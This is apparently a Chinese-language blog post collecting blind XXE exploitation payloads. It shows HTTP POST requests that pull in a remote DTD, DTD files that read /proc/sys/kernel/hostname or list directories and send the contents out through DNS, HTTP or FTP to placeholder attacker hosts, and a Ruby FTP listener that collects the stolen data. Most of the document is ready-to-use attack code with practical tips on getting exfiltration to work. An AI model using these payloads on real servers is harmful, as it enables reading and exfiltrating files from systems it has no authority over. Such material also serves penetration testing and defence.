• blind XXE payload


    简单验证

    POST /test HTTP/1.1
    Content-Type: application/soap+xml
    User-Agent: scanner
    Accept: */*
    Cache-Control: no-cache
    Host: 域名
    Content-Length: 142
    Connection: close
    
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://dnslog">
    %remote;]>
    <root/>
    

    接收信息以证明

    XML的规范定义中,只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。
    要将信息发出来还需要再自己服务器上构造DTD。

    1) 接收单行文件信息(主机名)

    发送的POC
    POST /test HTTP/1.1
    Content-Type: application/soap+xml
    User-Agent: scanner
    Accept: */*
    Cache-Control: no-cache
    Host: 域名
    Content-Length: 142
    Connection: close
    
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://web服务器/cc.xml">
    %remote;]>
    <root/>
    
    
    cc.xml文件
    <!ENTITY % file SYSTEM "file:///proc/sys/kernel/hostname">
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://%file;.dnslog地址/test'>">
    %int;
    %send;
    
    > 没错,就是取值符号加井号加37加分号
    
    这个不太稳定,多发几遍。
    发了几十遍出来了几次dns请求。
    估计是在读文件拼接发请求处有什么拦截
    
    这里怀疑/kernel/hostname文件中有转义字符、空格、换行符什么的,所以可能造成拼在域名中,无法发出dns信息。
    所以用http log也挺好的
    <!ENTITY % file SYSTEM "file:///proc/sys/kernel/hostname">
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://httplog地址/%file;'>">
    %int;
    %send;
    
    

    2) 接收多行文件信息

    一
    发送的POC
    POST /test HTTP/1.1
    Content-Type: application/soap+xml
    User-Agent: scanner
    Accept: */*
    Cache-Control: no-cache
    Host: 域名
    Content-Length: 142
    Connection: close
    
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY % remote SYSTEM "http://web服务器/cc.xml">
    %remote;]>
    <root/>
    
    二
    cc.xml文件
    <!ENTITY % file SYSTEM "file:///proc/sys/kernel/hostname">
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'ftp://你的地址:33/%file;'>">
    %int;
    %send;
    
    三
    再再服务器上监听设定的端口(这里写的是33端口)
    vi ftp.rb
    
    require 'socket'
    server = TCPServer.new 33
    loop do
      Thread.start(server.accept) do |client|
        print "New client connected
    "
        data = ""
        client.puts("220 xxe-ftp-server")
        loop {
            req = client.gets()
            print "< "+req
            if req.include? "USER"
                client.puts("331 password please - version check")
            else
               #puts "> 230 more data please!"
                client.puts("230 more data please!")
            end
        }
        print "
    "
      end
    end
    
    ruby ftp.rb
    
    

    列目录的DTD

    把文件路径换成文件夹名就能列目录了
    
    <!ENTITY % file SYSTEM "file:///etc/">
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'ftp://你的地址:33/%file;'>">
    %int;
    %send;
    

    helps

    github监听脚本-ruby
    xxe总结
    XXE利用

  • 相关阅读:
    sqlserver FOR XML查询参数RAW的实例
    Dinky使用——mysql2clickhouse
    7、Canal实现MySQL到ES实时同步2
    加一
    极大极小游戏
    Dinky 0.6.5安装部署
    多数元素
    Dinky的使用——hbase2mysql
    packetbeat配置
    大数据分析与展示
  • 原文地址:https://www.cnblogs.com/huim/p/11378208.html
Copyright © 2020-2023  润新知